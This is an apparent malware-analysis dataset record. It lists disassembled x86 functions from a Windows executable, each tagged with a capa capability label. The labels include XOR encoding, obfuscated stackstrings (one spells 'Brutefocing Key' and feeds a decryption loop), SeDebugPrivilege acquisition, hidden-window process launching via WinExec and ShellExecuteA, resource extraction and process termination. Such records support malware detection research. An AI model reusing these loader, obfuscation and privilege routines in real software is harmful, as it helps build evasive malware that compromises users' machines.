joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49e172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x49e1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x49e1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x49edff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.0049ef04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.0049ef20
push edx
push dword [ebp + 0x10]
push eax
call fcn.0049eeec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0049ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0049eecb
push ecx
push dword [ebp + 8]
call fcn.0049ef04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0049ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0049eecb
push ecx
push dword [ebp + 8]
call fcn.0049ef04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0049ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0049eecb
push ecx
push dword [ebp + 8]
call fcn.0049ef04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0049ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0049eecb
cmp ecx, 0x2b
jne 0x49ee0f
leave
ret 0xc

Function at 0x4a04b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x4a0544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x90a70
push 0
call dword [eax + 0x20]
test eax, eax
je 0x4a05d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x90a70
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x90a70
call fcn.004a03fa
push 0x90a70
push dword [ebp + 0xc]
call fcn.0049e1a8
test eax, eax
jne 0x4a05b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x90a70
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.004a05dd
test eax, eax
je 0x4a05d6
jmp 0x4a0574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x4a05d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x4a060b
Capabilities:
Terminate process

Disassembly:
call fcn.004a0618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x4029d0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x402a04
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x402a78
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402a26
mov eax, 0x47f2f1
push eax
push 1
mov ebx, 0x25c
call fcn.0045a710
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.0045a720
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x402a82
mov eax, 0
jmp 0x402a82
mov esp, ebp
pop ebp
ret 4

Function at 0x402acf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_getsockname
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.00459e30
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x402b37
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
jne 0x402b75
cmp dword [ebp - 4], 0
je 0x402b70
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x402b70
push 6
call fcn.004538d1
add esp, 4
jmp 0x402b7d
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
cmp dword [ebp - 4], 0
mov eax, 0
setne al
jmp 0x402b8e
mov esp, ebp
pop ebp
ret 0x14
Function at 0x402b94
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402bd1
mov eax, 0x47f2f1
push eax
push 3
mov ebx, 0x270
call fcn.0045a740
add esp, 0x28
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402cb7
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x278
call fcn.0045a820
add esp, 0x10
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402c22
mov eax, 0x47f2f1
push eax
push 1
mov ebx, 0x244
call fcn.0045a510
add esp, 0x10
call fcn.00401a02
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402c52
mov eax, 0x47f2f1
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402c66
mov eax, 0x47f2f1
push eax
push 2
mov ebx, 0x23c
call fcn.0045a520
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402c89
push ebx
call fcn.004538cb
add esp, 4
mov dword [ebp - 8], esp
push 5
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WinExec]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x402cb2
push 6
call fcn.004538d1
add esp, 4
jmp 0x402d4a
push dword [ebp + 8]
call fcn.004029d0
and eax, 1
xor eax, 1
test eax, eax
je 0x402d21
call fcn.00401a02
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402cea
mov eax, 0x47f2f1
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402cfe
mov eax, 0x47f2f1
push eax
push 2
mov ebx, 0x23c
call fcn.0045a520
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402d21
push ebx
call fcn.004538cb
add esp, 4
mov dword [ebp - 8], esp
push 5
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WinExec]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x402d4a
push 6
call fcn.004538d1
add esp, 4
push 0x71a28f
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x90]
mov esp, ebp
pop ebp
ret 4
Function at 0x406e06
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
push 8
call fcn.004538c5
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.004538c5
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 0x10
call fcn.004538c5
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x406eb5
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.00459f40
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x406f0e
push 6
call fcn.004538d1
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00459fa0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 8]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x406f59
push 6
call fcn.004538d1
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x406f69
push ebx
call fcn.004538cb
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov dword [ebp - 0x18], esp
mov eax, 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x406ffd
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x407022
push 6
call fcn.004538d1
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x40702a
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.004538cb
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.004538cb
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x407c9b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x200
push 1
mov ebx, 0x184
call fcn.00459f60
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x407ce0
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x407d0b
push 6
call fcn.004538d1
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x407d2a
mov eax, 0x47f2f1
push eax
push 2
mov ebx, 0x138
call fcn.0045a490
add esp, 0x1c
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0x5c
push 1
mov ebx, 0x140
call fcn.00459fa0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
push dword [ebp - 8]
call fcn.0040218e
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x407d8e
push ebx
call fcn.004538cb
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x407d9e
push ebx
call fcn.004538cb
add esp, 4
push 0x80000101
push 0
push 0x5c
push 1
mov ebx, 0x140
call fcn.00459fa0
add esp, 0x10
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push dword [ebp - 4]
mov ecx, 2
call fcn.0040118f
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x407de5
push ebx
call fcn.004538cb
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x407e10
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x407e0b
push eax
mov ebx, eax
call fcn.00401124
inc eax
push eax
call fcn.004538c5
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x407e2c
mov eax, dword [ebp - 4]
test eax, eax
je 0x407e2c
push eax
mov ebx, eax
call fcn.00401124
inc eax
push eax
call fcn.004538c5
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x407e3f
push ebx
call fcn.004538cb
add esp, 4
mov eax, dword [ebp - 0x1c]
jmp 0x407e47
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x407e58
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40bdf5
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
cmp dword [ebp + 8], 1
jne 0x40be4b
fild dword [ebp + 0x10]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fmul qword [0x4acf57]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x18]
fdiv qword [ebp - 0x18]
fstp qword [ebp - 0x20]
push 1
fld qword [ebp - 0x20]
call fcn.004011eb
push eax
push 0x71a2ab
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x190]
jmp 0x40bf67
cmp dword [ebp + 8], 0
je 0x40be63
cmp dword [ebp + 8], 0xffffffff
je 0x40be63
xor eax, eax
jmp 0x40be68
mov eax, 1
test eax, eax
je 0x40bf67
mov eax, dword [0x71a30b]
cmp dword [ebp + 0x14], eax
jne 0x40bf5d
push 0x71a2d3
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov ebx, dword [0x71a307]
add ebx, 4
mov dword [ebp - 4], ebx
mov ebx, dword [0x71a307]
mov dword [ebp - 8], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x40beb7
mov eax, 0x47f2f1
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 4]
mov eax, dword [ebx]
test eax, eax
jne 0x40becd
mov eax, 0x47f2f1
push eax
push 2
mov ebx, 0x23c
call fcn.0045a520
add esp, 0x1c
mov ebx, dword [0x71a307]
add ebx, 4
mov dword [ebp - 4], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 4]
mov eax, dword [ebx]
test eax, eax
jne 0x40bf01
mov eax, 0x47f2f1
push eax
push 1
mov ebx, 0x244
call fcn.0045a510
add esp, 0x10
mov ebx, dword [0x71a307]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], esp
push 5
mov ebx, dword [ebp - 4]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WinExec]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x40bf46
push 6
call fcn.004538d1
add esp, 4
push 0x71a28f
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x90]
jmp 0x40bf67
mov dword [0x71a2ef], 1
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40ea0d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push dword [0x71a283]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40ea5a
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40ea71
mov eax, 0x47f3ce
jmp 0x40eb6f
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push dword [0x71a283]
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40ea99
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40eab0
mov eax, 0x47f3ce
jmp 0x40eb6f
mov dword [ebp - 0x14], esp
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40ead2
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40eae9
mov eax, 0x47f3ce
jmp 0x40eb6f
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x1bc
call fcn.0045a850
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40eb1c
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push dword [ebp - 4]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40eb33
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40eb50
push 6
call fcn.004538d1
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40eb6a
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004538c5
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40eb6f
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40eb80
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x40f675
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ebx, dword [0x71a293]
mov dword [ebp - 4], ebx
push 0x47f2f1
mov ebx, dword [ebp - 4]
push dword [ebx]
call fcn.0040218e
add esp, 8
cmp eax, 0
je 0x40f746
mov ebx, dword [0x71a293]
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00459fa0
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00459fa0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp - 4]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40f726
push 6
call fcn.004538d1
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40f736
push ebx
call fcn.004538cb
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40f746
push ebx
call fcn.004538cb
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x41eb33
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41eb63
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x41eb77
mov esp, ebp
pop ebp
ret 4
Function at 0x41f3bf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
cmp dword [0x71a337], 0
je 0x41f602
push dword [ebp + 8]
call fcn.0041f624
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41f417
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [0x71a2fb]
call fcn.00402f15
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x41f4e7
mov ebx, dword [0x71a2fb]
call fcn.00402f2e
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x41f45d
push 4
call fcn.004538d1
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41f470
push 1
call fcn.004538d1
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
test eax, eax
jne 0x41f49f
mov eax, 0x47f2f1
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x41f4b3
mov eax, 0x47f2f1
push eax
push 4
mov ebx, 0x148
call fcn.0045dfe0
add esp, 0x34
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x41f4df
mov dword [ebp - 4], 1
jmp 0x41f4e7
pop eax
pop ebx
pop ecx
jmp 0x41f42f
add esp, 0xc
cmp dword [ebp - 4], 1
jne 0x41f602
cmp dword [0x71a337], 0
je 0x41f602
push 0x71a33f
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00401bd0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 0x14]
push dword [0x71a337]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41f544
push 6
call fcn.004538d1
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x41f5f3
mov dword [ebp - 0x14], esp
push dword [0x71a337]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41f576
push 6
call fcn.004538d1
add esp, 4
mov dword [0x71a337], 0
mov dword [0x71a343], 0
push 0x716f92
push dword [ebp - 8]
push 0x716fad
mov ecx, 3
call fcn.0040118f
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0x30
mov eax, 0x716f77
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 1
push dword [0x71a313]
push 0x71a2cf
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41f5e3
push ebx
call fcn.004538cb
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41f5f3
push ebx
call fcn.004538cb
add esp, 4
push 0x71a33f
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov eax, 1
jmp 0x41f60c
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41f61d
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x41f624
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x200
push 1
mov ebx, 0x184
call fcn.00459f60
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41f669
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040b851
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0x200
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f6a8
push 6
call fcn.004538d1
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x41f6c4
push eax
mov ebx, eax
call fcn.00401124
inc eax
push eax
call fcn.004538c5
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41f6c9
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41f6da
push ebx
call fcn.004538cb
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4